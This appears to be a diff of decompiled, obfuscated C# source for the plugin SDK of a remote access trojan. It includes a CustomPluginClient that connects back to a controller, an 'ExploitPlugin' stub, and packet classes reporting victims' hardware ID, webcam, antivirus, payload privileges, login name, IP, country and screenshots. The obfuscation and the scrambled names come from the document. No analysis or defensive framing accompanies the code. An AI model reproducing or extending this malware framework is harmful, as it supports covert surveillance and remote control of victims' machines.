m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 = -794870661 ^ -1171046119;
num3 = 19;
continue;
case 84:
m_271cb415f2384f7a8af2439f61d79e09.m_f099d539a86e4ca2b0b9d68590faa998 = -1038302908 ^ -1629735612;
num3 = 76;
if (Wvm6YXkGOLAlWTGpOGi())
{
num3 = 43;
}
continue;
case 110:
m_271cb415f2384f7a8af2439f61d79e09.m_b2745db0aa124bbc924b0dcb8892dfd1 = 0x62642C6D ^ 0x560A001D;
num = 33;
break;
case 51:
m_271cb415f2384f7a8af2439f61d79e09.m_9dfdbeb3592e4807b15dd3a37534d3a2 = -(1351065831 - 1386947747) ^ 0x2D003F42;
num3 = 23;
if (AQaTvfkb3kMNVOg6Zp0() != null)
{
num3 = 116;
}
continue;
case 107:
m_271cb415f2384f7a8af2439f61d79e09.m_9187d16b686d4b2fa356c9c894103305 = -699658248 ^ -699658248;
num3 = 42;
continue;
}
goto end_IL_0003;
continue;
end_IL_0004:
break;
}
continue;
end_IL_0003:
break;
}
}
}
internal static bool Wvm6YXkGOLAlWTGpOGi()
{
return EkXHaqkhPs9eNFSLdEL == null;
}
internal static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D AQaTvfkb3kMNVOg6Zp0()
{
return EkXHaqkhPs9eNFSLdEL;
}
}
Binary file not shown.
@@ -0,0 +1,176 @@
using System;
using System.Security.Cryptography;
using XW3iQq2AVWsC9kohc8a;
namespace E19qRRiqHck2XO5krTU;
internal class vg5SL6i3qQbdPGqXycX
{
private static readonly object HLmijejb2S;
[ThreadStatic]
private static Random mg4iOh2cPx;
internal static object NB7pb5LcatEN2Yxd7Q7;
private static Random rj5iXMLSAv()
{
int num = 1;
byte[] array = default(byte[]);
while (true)
{
int num2 = num;
while (true)
{
int num3 = num2;
while (true)
{
switch (num3)
{
default:
if (num2 != 10)
{
if (num2 == 991)
{
goto end_IL_0003;
}
goto case 1;
}
array = new byte[4];
num3 = 2;
continue;
case 3:
mg4iOh2cPx = new Random(BitConverter.ToInt32(array, 0));
num3 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4b638c6bf3a4e12b0bb7266586eb369 == 0)
{
num3 = 9;
}
continue;
case 2:
((RandomNumberGenerator)HLmijejb2S).GetBytes(array);
num3 = 3;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0)
{
num3 = 7;
}
continue;
case 0:
return mg4iOh2cPx;
case 1:
if (mg4iOh2cPx == null)
{
break;
}
goto case 0;
}
goto end_IL_0002;
continue;
end_IL_0003:
break;
}
continue;
end_IL_0002:
break;
}
num = 3;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 != 0)
{
num = 10;
}
}
}
public int FLgihdr8Qm()
{
return rj5iXMLSAv().Next();
}
public int LMyiGnRMYt(int P_0)
{
return rj5iXMLSAv().Next(P_0);
}
public int PmpibhxdgB(int P_0, int P_1)
{
return rj5iXMLSAv().Next(P_0, P_1);
}
public vg5SL6i3qQbdPGqXycX()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 == 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
static vg5SL6i3qQbdPGqXycX()
{
int num = 2;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
if (num == 990)
{
goto end_IL_0003;
}
goto case 2;
case 2:
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 != 0)
{
num2 = 5;
}
break;
case 0:
return;
case 1:
HLmijejb2S = RandomNumberGenerator.Create();
num2 = 4;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0f09a9fa75334e429ef59f881dd368e7 == 0)
{
num2 = 0;
}
break;
}
continue;
end_IL_0003:
break;
}
}
}
internal static bool AwgxQeLFWG6R6fpDdrt()
{
return NB7pb5LcatEN2Yxd7Q7 == null;
}
internal static vg5SL6i3qQbdPGqXycX E0jKtIL7QkG9PnMoTpL()
{
return (vg5SL6i3qQbdPGqXycX)NB7pb5LcatEN2Yxd7Q7;
}
}
@@ -0,0 +1,47 @@
using PluginSDK.Interfaces;
using ProtoBuf;
using XW3iQq2AVWsC9kohc8a;
namespace E2tn7l8spQ8u1B4B4e;
[ProtoContract]
internal class FHeE2G5KXmRiAnFP4C : IPacket
{
private static object GjITcaLIbpXouV0LlF9;
public FHeE2G5KXmRiAnFP4C()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 != 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool LGknZRLRpy8SUSldxyY()
{
return GjITcaLIbpXouV0LlF9 == null;
}
internal static FHeE2G5KXmRiAnFP4C xaagg2LCki3mV9wulx6()
{
return (FHeE2G5KXmRiAnFP4C)GjITcaLIbpXouV0LlF9;
}
}
@@ -0,0 +1,27 @@
using PluginSDK.Connection;
using PluginSDK.Interfaces;
using PluginSDK.Packets;
namespace ExploitPlugin;
public static class Core
{
public static void Initialize(byte[] packet)
{
CustomPluginClient.Run(packet, OnPacketReceived);
}
private static void OnPacketReceived(IPacket msg, PluginClient client)
{
try
{
client.Send(new CustomPacket
{
Buffer = new byte[1] { 1 }
});
}
catch
{
}
}
}
@@ -0,0 +1,176 @@
using System.Runtime.CompilerServices;
using PluginSDK.Interfaces;
using ProtoBuf;
using XW3iQq2AVWsC9kohc8a;
namespace JnnwJWiDLh7Po8eBVGw;
[ProtoContract]
internal class SZZ4Q6i70wu0vk54Qir : IPacket
{
[CompilerGenerated]
private string nNZiHCBFW9;
[CompilerGenerated]
private byte[] zhSi68yI5f;
[CompilerGenerated]
private string iLEirCDdDs;
private static object QJeaIALV6lpm9JAg2hY;
[ProtoMember(1)]
public string B2Ni97l9Kh
{
[CompilerGenerated]
get
{
return nNZiHCBFW9;
}
[CompilerGenerated]
set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
nNZiHCBFW9 = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 != 0)
{
num2 = 6;
}
}
}
}
}
[ProtoMember(2)]
public byte[] tqgiuNBHDh
{
[CompilerGenerated]
get
{
return zhSi68yI5f;
}
[CompilerGenerated]
set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
zhSi68yI5f = array;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cbc10b9a4f014e50ac3911f08194bec9 != 0)
{
num2 = 6;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(3)]
public string BE7ieY7Lr7
{
[CompilerGenerated]
get
{
return iLEirCDdDs;
}
[CompilerGenerated]
set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
iLEirCDdDs = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b2745db0aa124bbc924b0dcb8892dfd1 == 0)
{
num2 = 3;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
public SZZ4Q6i70wu0vk54Qir()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_36d48b49d2a245aa8ddb9fb75060fde3 == 0)
{
num = 0;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool t1bjatLQSXnqTXx1L7N()
{
return QJeaIALV6lpm9JAg2hY == null;
}
internal static SZZ4Q6i70wu0vk54Qir qo7HnnLdFJ5ujn9qiuU()
{
return (SZZ4Q6i70wu0vk54Qir)QJeaIALV6lpm9JAg2hY;
}
}
@@ -0,0 +1,10 @@
using System;
using System.Runtime.CompilerServices;
namespace Microsoft.CodeAnalysis;
[CompilerGenerated]
[protobuf_002Dnet_002EEmbedded]
internal sealed class protobuf_002Dnet_002EEmbeddedAttribute : Attribute
{
}
@@ -0,0 +1,287 @@
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using PluginSDK.Enums;
using PluginSDK.Interfaces;
using PluginSDK.Packets;
using ws1flOn4295GVZuW05j;
namespace PluginSDK.Connection;
[ComVisible(false)]
public static class CustomPluginClient
{
[CompilerGenerated]
private static PluginClient C2xi8PhYW0;
internal static CustomPluginClient qHJT1CL9EK4QyIihfdQ;
public static PluginClient Client
{
[CompilerGenerated]
get
{
return C2xi8PhYW0;
}
[CompilerGenerated]
private set
{
C2xi8PhYW0 = c2xi8PhYW;
}
}
public static void Run(byte[] packet, Action<IPacket, PluginClient> onPacketReceived)
{
int num = 1;
int num4 = default(int);
PluginClient pluginClient = default(PluginClient);
string extra = default(string);
int num3 = default(int);
string text2 = default(string);
string extraParameter = default(string);
int num10 = default(int);
int num7 = default(int);
int num9 = default(int);
while (true)
{
switch (num)
{
case 989:
break;
case 1:
try
{
ImPlugin imPlugin = (ImPlugin)Serialization.PacketDesirialize(packet);
int num2 = 2;
while (true)
{
string text;
switch (num2)
{
default:
if (num4 != 24)
{
if (num4 == 1004)
{
goto IL_0037;
}
goto case 9;
}
Client = pluginClient;
num2 = 11;
continue;
case 2:
extra = "";
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0)
{
num2 = 1;
}
continue;
case 11:
pluginClient.ReceivedMessageEvent += onPacketReceived;
num2 = 5;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a != 0)
{
num2 = 21;
}
continue;
case 15:
num3 = text2.IndexOf('|');
num2 = 3;
continue;
case 3:
if (num3 >= 0)
{
num2 = 24;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 != 0)
{
num2 = 12;
}
continue;
}
goto case 16;
case 16:
text = text2;
break;
case 9:
case 14:
pluginClient = new PluginClient(EnumPlugins.CustomPlugin);
num4 = 24;
goto IL_0037;
case 0:
text2 = extraParameter.Substring(teChAknSMwcsOKOlG5s.pNInuuWLfn(0x317612CF ^ _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_08f0ca6f783d4de086a0138e7d3650cd).Length);
num2 = 15;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_501ddf0930d6428bb18ddd3568b08e8e == 0)
{
num2 = 22;
}
continue;
case 10:
Thread.Sleep(2000);
num2 = 6;
continue;
case 1:
extraParameter = imPlugin.ExtraParameter;
num2 = 4;
continue;
case 6:
case 13:
if (!pluginClient.IsConnected)
{
num2 = 7;
continue;
}
goto case 10;
case 8:
if (!extraParameter.StartsWith(teChAknSMwcsOKOlG5s.pNInuuWLfn(0x72BB1F7C ^ _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4a7715299884ff18f1cd79197380e6c)))
{
num2 = 14;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 == 0)
{
num2 = 15;
}
continue;
}
goto case 0;
case 5:
pluginClient.Connect(imPlugin.ClientInformation, extra);
num2 = 23;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 == 0)
{
num2 = 13;
}
continue;
case 4:
if (!string.IsNullOrEmpty(extraParameter))
{
num2 = 8;
continue;
}
goto case 9;
case 12:
text = text2.Substring(0, num3);
break;
case 7:
return;
IL_0037:
num2 = num4;
continue;
}
extra = text;
num2 = 9;
}
}
finally
{
int num5 = 2;
while (true)
{
switch (num5)
{
default:
if (num10 == 990)
{
num5 = num10;
continue;
}
goto end_IL_0269;
case 0:
break;
case 2:
try
{
PluginClient client = Client;
int num6;
if (client == null)
{
num6 = 7;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 == 0)
{
num6 = 0;
}
}
else
{
client.Dispose();
num6 = 5;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fcfb1a55a15b47b2a0f4975f0e9f4fe5 != 0)
{
num6 = 1;
}
}
while (true)
{
switch (num6)
{
default:
if (num7 == 989)
{
num6 = num7;
continue;
}
break;
case 0:
break;
case 1:
break;
}
break;
}
}
catch
{
int num8 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 != 0)
{
num8 = 3;
}
while (true)
{
switch (num8)
{
default:
if (num9 == 988)
{
num8 = num9;
continue;
}
break;
case 0:
break;
}
break;
}
}
break;
case 1:
goto end_IL_0269;
}
Client = null;
num5 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 == 0)
{
num5 = 1;
}
continue;
end_IL_0269:
break;
}
}
default:
return;
}
}
}
internal static bool E3dttaLW0slBFZGvph1()
{
return qHJT1CL9EK4QyIihfdQ == null;
}
internal static CustomPluginClient rPDIXfLoJ4aYHhD8xcZ()
{
return qHJT1CL9EK4QyIihfdQ;
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,14 @@
using System.Runtime.InteropServices;
using ProtoBuf;
namespace PluginSDK.Enums;
[ProtoContract]
[ComVisible(false)]
public enum EnumPlugins
{
[ProtoEnum(Value = 0)]
None,
[ProtoEnum(Value = 39)]
CustomPlugin
}
@@ -0,0 +1,24 @@
using System;
using System.Runtime.InteropServices;
namespace PluginSDK.Interfaces;
[ComVisible(false)]
public interface ICustomPlugin
{
string PluginName { get; }
string PluginVersion { get; }
string PluginAuthor { get; }
string PluginDescription { get; }
bool OnOpen(string title);
void OnConnected(Action<IPacket> send, Action disconnect);
void OnPacketReceived(IPacket packet);
void OnDisconnected();
}
@@ -0,0 +1,60 @@
using System.Runtime.InteropServices;
using E2tn7l8spQ8u1B4B4e;
using JnnwJWiDLh7Po8eBVGw;
using PluginSDK.Packets;
using ProtoBuf;
using RYOllMitLk6uHdHcJkQ;
using XW3iQq2AVWsC9kohc8a;
using qKjs2oinTB1PBa4YHgS;
namespace PluginSDK.Interfaces;
[ProtoInclude(90, typeof(CustomPacket))]
[ProtoContract]
[ProtoInclude(35, typeof(FHeE2G5KXmRiAnFP4C))]
[ProtoInclude(5, typeof(SZZ4Q6i70wu0vk54Qir))]
[ProtoInclude(4, typeof(ImPlugin))]
[ProtoInclude(3, typeof(bKDXOAiMg4AVxNIDo0h))]
[ProtoInclude(1, typeof(ClientInformation))]
[ProtoInclude(2, typeof(eUJNyNiiEf2XNus4cpY))]
[ComVisible(false)]
public class IPacket
{
internal static IPacket mTkyqKLtGjA24FOeaf3;
public IPacket()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5aa7d9fb4aa84ccf8cbdc56cd8df118d == 0)
{
num = 2;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
internal static bool myY2T7Lpjgx5Ur3aPUA()
{
return mTkyqKLtGjA24FOeaf3 == null;
}
internal static IPacket B9kcTuLUG65OKYcFvQu()
{
return mTkyqKLtGjA24FOeaf3;
}
}
@@ -0,0 +1,930 @@
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using PluginSDK.Interfaces;
using ProtoBuf;
using XW3iQq2AVWsC9kohc8a;
namespace PluginSDK.Packets;
[ProtoContract]
[ComVisible(false)]
public class ClientInformation : IPacket
{
[CompilerGenerated]
private string O9BDc2CW1;
[CompilerGenerated]
private bool GJfBcgJ8m;
[CompilerGenerated]
private int Rvqg0hPb6;
[CompilerGenerated]
private string KaV9aZDW9;
[CompilerGenerated]
private string x0AWhhQJO;
[CompilerGenerated]
private string znko55gi1;
[CompilerGenerated]
private string iYhujqJVp;
[CompilerGenerated]
private string bQgxNKW3f;
[CompilerGenerated]
private int g8w0qDVKM;
[CompilerGenerated]
private string UwOerkb4V;
[CompilerGenerated]
private string wmFH4mEmc;
[CompilerGenerated]
private int sdH66dl8l;
[CompilerGenerated]
private string zBhrhTJmF;
[CompilerGenerated]
private string KVt35jMIE;
[CompilerGenerated]
private string TTKqOkedF;
[CompilerGenerated]
private string PbyXpLK4s;
[CompilerGenerated]
private byte[] pPNhwn6hy;
[CompilerGenerated]
private string PE5GyEhKs;
[CompilerGenerated]
private bool XeXbv2dKN;
[CompilerGenerated]
private string NPajAHbBm;
internal static ClientInformation HNUBs4L26A7KubZTBXe;
[ProtoMember(1)]
public string HardwareID
{
[CompilerGenerated]
get
{
return O9BDc2CW1;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 1:
break;
case 0:
return;
}
goto IL_001d;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001d;
IL_001d:
O9BDc2CW1 = o9BDc2CW;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_085cb0dbc3324d8089003c979618ca5d == 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(2)]
public bool Webcam
{
[CompilerGenerated]
get
{
return GJfBcgJ8m;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
GJfBcgJ8m = gJfBcgJ8m;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 == 0)
{
num2 = 3;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(3)]
public int LastActivity
{
[CompilerGenerated]
get
{
return Rvqg0hPb6;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
Rvqg0hPb6 = rvqg0hPb;
num2 = 2;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf4d9648aee544a78a91bdb81022fbbb == 0)
{
num2 = 0;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(4)]
public string AntiVirusSoftware
{
[CompilerGenerated]
get
{
return KaV9aZDW9;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
KaV9aZDW9 = kaV9aZDW;
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 == 0)
{
num2 = 0;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(5)]
public string WindowsVersion
{
[CompilerGenerated]
get
{
return x0AWhhQJO;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
x0AWhhQJO = text;
num2 = 2;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a == 0)
{
num2 = 0;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(6)]
public string PayloadVersion
{
[CompilerGenerated]
get
{
return znko55gi1;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 1:
break;
case 0:
return;
}
goto IL_001d;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001d;
IL_001d:
znko55gi1 = text;
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 != 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(7)]
public string PayloadPrivileges
{
[CompilerGenerated]
get
{
return iYhujqJVp;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
iYhujqJVp = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_21ac3f6ffcc747a2933641e3aceb2e8e == 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(8)]
public string LoginUsername
{
[CompilerGenerated]
get
{
return bQgxNKW3f;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
bQgxNKW3f = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf6b861499bb4e93b913b0104cf85d80 == 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(9)]
public int ConnectedPort
{
[CompilerGenerated]
get
{
return g8w0qDVKM;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
g8w0qDVKM = num3;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0b44419b977642f69e5d9c6839680b67 == 0)
{
num2 = 6;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(10)]
public string ConnectedIP
{
[CompilerGenerated]
get
{
return UwOerkb4V;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 1:
break;
case 0:
return;
}
goto IL_001d;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001d;
IL_001d:
UwOerkb4V = uwOerkb4V;
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 != 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(11)]
public string InstalledSoftwares
{
[CompilerGenerated]
get
{
return wmFH4mEmc;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
wmFH4mEmc = text;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 == 0)
{
num2 = 6;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(12)]
public int Api
{
[CompilerGenerated]
get
{
return sdH66dl8l;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
sdH66dl8l = num3;
num2 = 6;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 == 0)
{
num2 = 0;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(13)]
public string Country
{
[CompilerGenerated]
get
{
return zBhrhTJmF;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 0:
return;
case 1:
zBhrhTJmF = text;
num2 = 1;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 != 0)
{
num2 = 0;
}
continue;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(14)]
public string Group
{
[CompilerGenerated]
get
{
return KVt35jMIE;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
KVt35jMIE = kVt35jMIE;
num2 = 4;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 != 0)
{
num2 = 0;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(15)]
public string ProcessPath
{
[CompilerGenerated]
get
{
return TTKqOkedF;
}
[CompilerGenerated]
internal set
{
int num = 1;
do
{
int num2 = num;
while (true)
{
switch (num2)
{
case 1:
TTKqOkedF = tTKqOkedF;
num2 = 0;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 == 0)
{
num2 = 5;
}
continue;
case 0:
return;
}
break;
}
}
while (num == 989);
}
}
[ProtoMember(16)]
public string LastActivityAsString
{
[CompilerGenerated]
get
{
return PbyXpLK4s;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 1:
break;
case 0:
return;
}
goto IL_001d;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001d;
IL_001d:
PbyXpLK4s = pbyXpLK4s;
num2 = 4;
if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6a3f56ff5de44bac98d9c08e25a662a2 == 0)
{
num2 = 0;
}
}
}
}
}
[ProtoMember(17)]
public byte[] Screenshot
{
[CompilerGenerated]
get
{
return pPNhwn6hy;
}
[CompilerGenerated]
internal set
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0010;
case 0:
return;
case 1:
break;
}
goto IL_001e;
IL_0010:
if (num == 989)
{
break;
}
goto IL_001e;
IL_001e:
pPNhwn6hy = array;
num2 = 0;
